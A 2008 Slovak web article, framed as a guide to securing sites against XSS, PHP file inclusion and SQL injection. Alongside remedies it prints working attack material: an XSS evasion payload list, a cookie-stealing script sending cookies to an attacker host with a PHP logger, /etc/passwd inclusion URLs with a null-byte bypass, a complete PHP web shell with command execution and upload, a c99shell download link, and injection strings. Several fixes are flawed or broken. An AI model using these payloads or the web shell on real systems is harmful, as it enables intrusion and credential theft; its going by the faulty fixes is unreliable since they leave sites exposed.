- Ako urobiť z linkov v code živé linky (pre Firefox a Operu)
- Volanie zadarmo cez zlatestranky.sk
- Zoznam freehostingov so subdomenami
- Vytvorenie CS 1.6 servera zdarma
- Free SMS cez internet
- Spider-Man: Web of Shadows
- Európski poslanci chcú chrániť deti pred zneužitím na internete
- Facebook hostuje až desať miliárd fotografií
- V USA majú nový anti-pirátsky zákon
- Apple odhalí nové MacBooky 14. októbra
Navigácia
Zabezpečte si webovú stránku /XSS, Php a SQL Injection/
Ukážeme si ako zabezpečiť svoj web *XSS (Cross-site scripting) *PHP Injection *SQL InjectionUkážeme si ako zabezpečiť svoj web *XSS (Cross-site scripting) *PHP Injection *SQL Injection
Článok vytvoril Maffko (c), Za povolenie uverejniť ho dakujem...
1. XSS(Cross-site scripting)
-Zaklad:
XSS je metoda vyuzivajuca javascript. ,h4x0r' za pomoci chyby vlozi na
web skodlivy js,
cez ktory sa moze dostat k udajom cookie.
-Typy:
Trvale: Skodlivy kod vlozeny do databazy, suboru a pod. Problem hlavne
Guestbookov, for a inych
webovych aplikacii.
Docastne: Vlozene napriklad do: URL, Vyhladavacich formularov a pod.
(vsade kde sa xss nevlozi do suboru
databazy a pod.) Nieje az taky nebezpecny staci pozerat naco klikate.
-Troska teorie:
Ako to ze to vlastne ide?
Zoberme si jednoduchy php kod echo($napis);
pri vlozeni: <script>alert(123);</script>
sa do stranky vlozi nas kod a vyvola javascript.
Ak to vkladame do url, vyhladavaceho formularu proste vsade kde sa to
neulozi do databazy, suboru a pod.
musime obet nejakym sposobom donutit aby klikla na odkaz. Ale pokial to
vlozime primo do suboru, databazy a pod.
staci ze obet si otvori stranku napr. GuestBook a xss sa vykona.
Pri pouzivani htmlspecialchars sa znaky ako <> premenia
na nieco ine a nedovolia to vykonat.
Pri pouzivani addslashes na escapovanie uvodzoviek a lomitiek.. Aj
tieto veci sa daju obist ale zavysi to hlavne od browsera.
-Priklad:
(docastne)
<code>
http://lama.xss/index. php?napis=Maff
Toto si zmenime a vyvolame chybu
http://lama.xss/i ndex.php?napis=<script>alert('Maffa ma
kazdy rad');</script>
</code>
(trvale)
<code>
Toto si vlozime napriklad do guestbooku na webe
<script>
alert('Skuska nachylnosti na xss');
</script>
</code>
-Dalsie priklady pisania:
<code>
(xss nemusi mat tvar <script> ale aj roznych HTML tagov)
';ale rt(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";al ert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCR IPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS> =&{()}
<SCRIPT
SRC=http://ha. ckers.org/xss.js></SCRIPT>
<IMG SRC="javascrip t:alert('XSS');">
<IMG SRC=javascrip t:alert('XSS')>
<IMG SRC=JaVaScRiP t:alert('XSS')>
<IMG
SRC=javascrip t:alert("XSS")>
<IMG SRC=`javascrip t:alert("RSnake says, 'XSS'")`>
<BODY
onload! #$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<iframe src=http://ha. ckers.org/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert ('XSS');">
*Nie kazdy browser sa chova rovnako pri tychto kodoch
Zdroj: http://ha. ckers.org/xss.html
</code>
-Najcastejsie vyuzitie:
Xss sa najcastejsie vyuziva na kradnutie cookie (Hlavne ked je na
stranke redakcny system)
Priklad takehoto skriptu:
<code>
XSS kod
<script>
var maff = document .cookie;
var value = maff.replace(/;/,'');
a= new Image(0,0);
a.src = "http://h4x0r.as/ xss.php?cookie="+"[ start]"+value+"[end]";
</script>
PHP kod
<?php
$data = $_GET["co okie"];
$maff = fopen("dat a.dat", "a+");
fwrite($maff, $ data);
fclose($ maff);
?>
Toto je jednoduchy php kod ktory ulozi cookie do suboru.
Moze to vyzerat aj uplne inak moznosti su viacero dalsia moznost je
cookie si poslat na mail...
</code>
-Zabezpecenie:
Na strane admina:
Metoda: ,,htmlspecialchars''
<code>
Neosetreny kod:
<?php echo $_GET ['nadpis']; ?>
Osetreny kod:
<?php echo htmlspecialchars ($_GET['nadpis']); ?>
</code>
Metoda: ,,addslashes''
<code>
Neosetreny kod:
<?php echo $_GET ['nadpis']; ?>
Osetreny kod:
<?
$maff = $_GET['nadpis'];
echo addslashes($maff);
?>
</code>
Na strane usera:
Jednoducho vypnut javascript v browseri.
A hlavne neklikat na linky typu: http://web.xss/ ?napis=<SCRIPT
SRC= http://web.xss/xss.js></SCRIPT>
2. PHP injection
-Zaklad:
PHP injection je moznost vlozit na web vlastny skodlivy php kod.
-Typy:
RFI (Remote File Inclusion)
LFI (Local File Inclusion)
RFI: Vzdielane vkladania suboru
LFI: Miestne vkladania suboru (napriklad /etc/passwd)
-Troska teorie:
Ak na webe budeme mat takyto zaklad: $page = $_GET[ 'page'];
include ($page);
Tak pri vlozeni do url za page si vieme vlozit nas kod.
http://lama.php/index.php?page=http://moj.web/maff.txt (RFI)
maff.txt bude obsahovat nejaky php kod priponu txt ma preto
aby sa subor nespracoval este na nasom serveri ale az na
webe obete. Taktiez si mozeme len vytiahnut nejaky document
s masiny ako napr. passwd
http://lama.php/ index.php?page=../../../../etc/passwd (LFI)
Tomuto utoku je najlepsie sa branit zapomoci switch.
Pri pouzivani niecoho takehoto
$fil e = $_GET['file'];
if
(file_exists("./".$_GET['file '].".php")) {
include ($page);
} else {
include
('index.php' );
}
sa utocnik stale moze dostat na masinu(LFI) a vsak pri predpoklade
ze na masine nieje zapnute magic_qoutes. Ak nieje tak si jednoducho
vlozime lubovolny subor za pomoci ,,null byte (%00)''
napriklad:
http://lama.php/index.php?page=../../../../etc/passwd%00
null byte vkladame na koniec z dovodu odstranenia pridania .php priponi
zapisanu v php kode.
-Priklad:
Taky zakladny neosetreny kod vyzera takto:
<code>
<?php
$page = $_ GET['page'];
include ($pa ge);
?>
</code>
A dotoho si mozeme vlozit vlastny subor takto:
http://lama.php/index.php?page=http://moj.web/maff.txt
alebo vytiahnut userov na masine
http://lama.php/index.php?page=../../../../etc/passwd
-Zabezpecenie:
Toto si mozeme zabezpecit viacerymi sposobmi napriklad:
<code>
<?php
if ($_GET['pa ge'] == "uvod") {include("index.php");}
elseif ($_GET ['page'] == "maff") {include("maff.php");}
elseif ($_GET[ 'page'] == "maffko") {include("maffko.php");}
else {
echo("404"); }
?>
</code>
alebo
<code>
<?php
switch ($ _GET['page']) {
c ase "uvod": include("uvod.php"); break;
c ase "maff": include("maff.php"); break;
c ase "maffko": include("maffko.php"); break;
}
?>
</code>
alebo
<code>
<?php
if (in_arra y($_GET['page'],Array("uvod","maff","maffko"))) {
include($_GET['page'].'.php');
}
?>
</code>
alebo
<code>
<?php
$file = $ _GET['file'];
if
(file_exists("./".$_GET['file'].".p hp")) {
i nclude ($page);
} else {
include
(' index.php');
}
?>
*note: Bezpecne iba pri zapnutych magic_quotes
</code>
-Najcastejsie vyuzitie:
PHP injekcia umoznuje vpodstate nad webom plnu kontrolu zalezi od
pouziteho kodu
Nazorny priklad takehoto suboru:
<code>
<?php
if(!empt y($_POST['strCommand'])) {
p assthru($_POST['strCommand']);
}
if(isset($_ POST['fupload'])) {
move_uploaded_fi le($_FILES['strupfile']['tmp_name'],
"./".$_FILES['strupfi le']['name']);
}
?>
<FORM METHOD= "post" ACTION="maff.txt">
<H1>Remote Access over PHP</H1>
<H4>Written by Maff</H4>
<B>Enter comm and:</B> <INPUT
TYPE="text" SIZE=20 N AME="strCommand"> <INPUT
TYPE="submit">
</FORM>
<FORM METHOD="post" ACTION="maff.txt"
ENCTYPE="multipart/form- data">
<H1>Upload file...</H1>
<INPUT TYPE="fil e" NAME="strupfile">
<INPUT TYPE="submit" N AME="fupload">
</FORM>
</code>
Tento subor sa ulozi napr. ako maff.txt uploadne na nejaky server a cez
url ho vlozime na web
http://lama.xss/index.php?page=http://moj.web/maff.txt (ak sa subor
prepise na nieco ine treba zmenit
<FORM METHOD="post" A CTION="maff.txt" hore a aj o 6 riadkov
nizsie)
Teraz mozme bez problemov uploadovat subory na web + vyuzivat konzolu.
Ak nejde uploadnut subor
treba skusit chmod 777 na zlozku.
Dalsi takyto skriptik: c99
Obsah tu nedam kvoli tomu ze ma 2933riadkov :)
ale stiahnut si ho mozete s http://txx.sk/~maff /c99[.]txt
3. SQL injection
-Zaklad:
SQL injection je metoda napadnutia databazy, vlozenim zmeneneho sql
query, cez nezabezpeceny vstup.
-Typy:
SQL injection
Blind sql injection
Rozdiel medzi blind a neblind je ze blind sa hlada pismeno po pismene
naslepo
-Troska teorie
-Priklad:
http//banka.xy/?zobraz=zostatok&id=4
toto si pozmenime
http//banka.xy/?zobraz=zostatok&id=4' or '1'='1
a dostaneme zostatok z kazdeho uctu...
</code>
-Ukazka:
Takto vyzera zakladne query
<code>
"SELECT * FROM users W HERE id = {$id}"
</code>
Napriklad:
<code>
"SELECT * FROM users W HERE id = 3"
</code>
Lenze pokial user vlozi
<code>
"SELECT * FROM users W HERE id=4' or '1'='1"
</code>
A kedze 1 sa bude stale rovnat 1. Dostaneme vypis z celej tabulky.
Takto mozeme vkladat lubovolne query do url ako napriklad:
"SELECT * FROM users W HERE id=4 AND MID((SELECT username from mos_users
LIMIT 0,1),1,1)=C HAR(97)"
-Najcastejsie vyuzitie:
Cez sql inject mame plnu kontrolu nad databazou cize tak ako mozeme
vytiahnut hesla userov tak
isto mozeme aj zmazat celu databazu.
-Zabezpecenie:
pri takomto kode:
<code>
<?
$sql = "SELECT * FROM user s WHERE id ='".$_GET['id']."';
mysql_query ($sql);
?>
</code>
moze vyzerat oprava takto:
<code>
<?
$sql = "SELE CT * FROM users WHERE id = ";
.
mysql_real_es cape_string($id);
mysql_query($ sql);
?>
</code>
alebo ak ma id ciselnu hodnotu
<code>
if(is_numeric( $_GET['id'])){
mysql_query(" SELECT * FROM `tabulka` WHERE `id` = '".$_GET['id']."'");
...
} else die('not numeric');
</code>
Dalej pouzivat addslashes na escapovanie uvodzoviek a lomitiek.
A pouzivat m agic_quotes
Zaujimave linky
http://ha.ckers.org/xss.html (Moznosti pisania xss)
http://txx.s k/~maff/c99[.]txt (c99shell[.]php)
Zaver: Tento clanok sluzi ktomu aby sa web opravil nie nato aby sa
znicil!
Clánok vytvoril Maffko, Originál na
http://maff.aspone.cz/clanok2.txt
God.Hell |
15. červenece 08, 12:07
Související články
- SQL Injection: Ako je na tom môj web ? (25. červenece 08, 15:07)
- Jednoduchý popis techniky: JavaScript Injection (23. červenece 08, 15:07)
- Ako si zadarmo zlegalizovať Windows ? (18. červenece 08, 16:07)
- Zisti si heslo za pár sekúnd (14. červenece 08, 10:07)
- Google Chrome si môžete aktualizovať častejšie (18. září 08, 16:09)
- Videá na YouTube si môžete pozrieť už aj s titulkami ! (3. září 08, 16:09)
- Komentáre v PHP (17. červenece 08, 08:07)